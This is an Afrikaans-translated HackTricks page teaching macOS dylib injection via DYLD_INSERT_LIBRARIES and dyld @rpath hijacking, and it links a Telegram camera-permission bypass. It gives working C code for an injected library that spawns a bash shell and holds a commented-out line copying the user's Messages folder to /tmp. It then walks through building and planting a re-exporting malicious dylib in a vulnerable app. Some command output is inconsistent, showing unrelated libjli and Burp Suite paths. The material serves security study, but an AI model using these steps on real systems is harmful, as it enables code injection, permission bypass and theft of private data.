# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES {% hint style="success" %} Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Ondersteun HackTricks * Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)! * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## DYLD\_INSERT\_LIBRARIES Basiese voorbeeld **Biblioteek om in te voeg** om 'n shell uit te voer: ```c // gcc -dynamiclib -o inject.dylib inject.c #include #include #include #include __attribute__((constructor)) void myconstructor(int argc, const char **argv) { syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]); printf("[+] dylib injected in %s\n", argv[0]); execv("/bin/bash", 0); //system("cp -r ~/Library/Messages/ /tmp/Messages/"); } ``` Binaar om aan te val: ```c // gcc hello.c -o hello #include int main() { printf("Hello, World!\n"); return 0; } ``` Injection: ```bash DYLD_INSERT_LIBRARIES=inject.dylib ./hello ``` ## Dyld Hijacking Voorbeeld Die geteikende kwesbare binêre is `/Applications/VulnDyld.app/Contents/Resources/lib/binary`. {% tabs %} {% tab title="entitlements" %}
codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
[...]com.apple.security.cs.disable-library-validation[...]
{% endtab %} {% tab title="LC_RPATH" %} {% code overflow="wrap" %} ```bash # Check where are the @rpath locations otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2 cmd LC_RPATH cmdsize 32 path @loader_path/. (offset 12) -- cmd LC_RPATH cmdsize 32 path @loader_path/../lib2 (offset 12) ``` {% endcode %} {% endtab %} {% tab title="@rpath" %} {% code overflow="wrap" %} ```bash # Check librareis loaded using @rapth and the used versions otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3 name @rpath/lib.dylib (offset 24) time stamp 2 Thu Jan 1 01:00:02 1970 current version 1.0.0 compatibility version 1.0.0 # Check the versions ``` {% endcode %} {% endtab %} {% endtabs %} Met die vorige inligting weet ons dat dit **nie die handtekening van die gelaaide biblioteke nagaan nie** en dit **probeer om 'n biblioteek te laai vanaf**: * `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib` * `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib` Maar die eerste een bestaan nie: ```bash pwd /Applications/VulnDyld.app find ./ -name lib.dylib ./Contents/Resources/lib2/lib.dylib ``` So, dit is moontlik om dit te kaap! Skep 'n biblioteek wat **enige willekeurige kode uitvoer en dieselfde funksies as die wettige biblioteek uitvoer deur dit weer te herexporteer**. En onthou om dit te compileer met die verwagte weergawes: {% code title="lib.m" %} ```objectivec #import __attribute__((constructor)) void custom(int argc, const char **argv) { NSLog(@"[+] dylib hijacked in %s", argv[0]); } ``` {% endcode %} Kompileer dit: {% code overflow="wrap" %} ```bash gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib" # Note the versions and the reexport ``` {% endcode %} Die herexportpad wat in die biblioteek geskep is, is relatief aan die laaier, kom ons verander dit na 'n absolute pad na die biblioteek om te eksporteer: {% code overflow="wrap" %} ```bash #Check relative otool -l /tmp/lib.dylib| grep REEXPORT -A 2 cmd LC_REEXPORT_DYLIB cmdsize 48 name @rpath/libjli.dylib (offset 24) #Change the location of the library absolute to absolute path install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib # Check again otool -l /tmp/lib.dylib| grep REEXPORT -A 2 cmd LC_REEXPORT_DYLIB cmdsize 128 name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24) ``` {% endcode %} Laastens kopieer dit net na die **gekaapte ligging**: {% code overflow="wrap" %} ```bash cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib" ``` {% endcode %} En **voer** die binêre uit en kyk of die **biblioteek gelaai is**:
"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib gehuig in /Applications/VulnDyld.app/Contents/Resources/lib/binary
Gebruik: [...]
{% hint style="info" %} 'n Goeie skrywe oor hoe om hierdie kwesbaarheid te misbruik om die kamera-toestemmings van telegram te misbruik, kan gevind word in [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) {% endhint %} ## Groter Skaal As jy van plan is om te probeer om biblioteke in onverwagte binêre te inspuit, kan jy die gebeurtenisboodskappe nagaan om uit te vind wanneer die biblioteek binne 'n proses gelaai word (in hierdie geval verwyder die printf en die `/bin/bash` uitvoering). ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"' ``` {% hint style="success" %} Leer & oefen AWS Hacking:[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Leer & oefen GCP Hacking: [**HackTricks Opleiding GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Ondersteun HackTricks * Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)! * **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}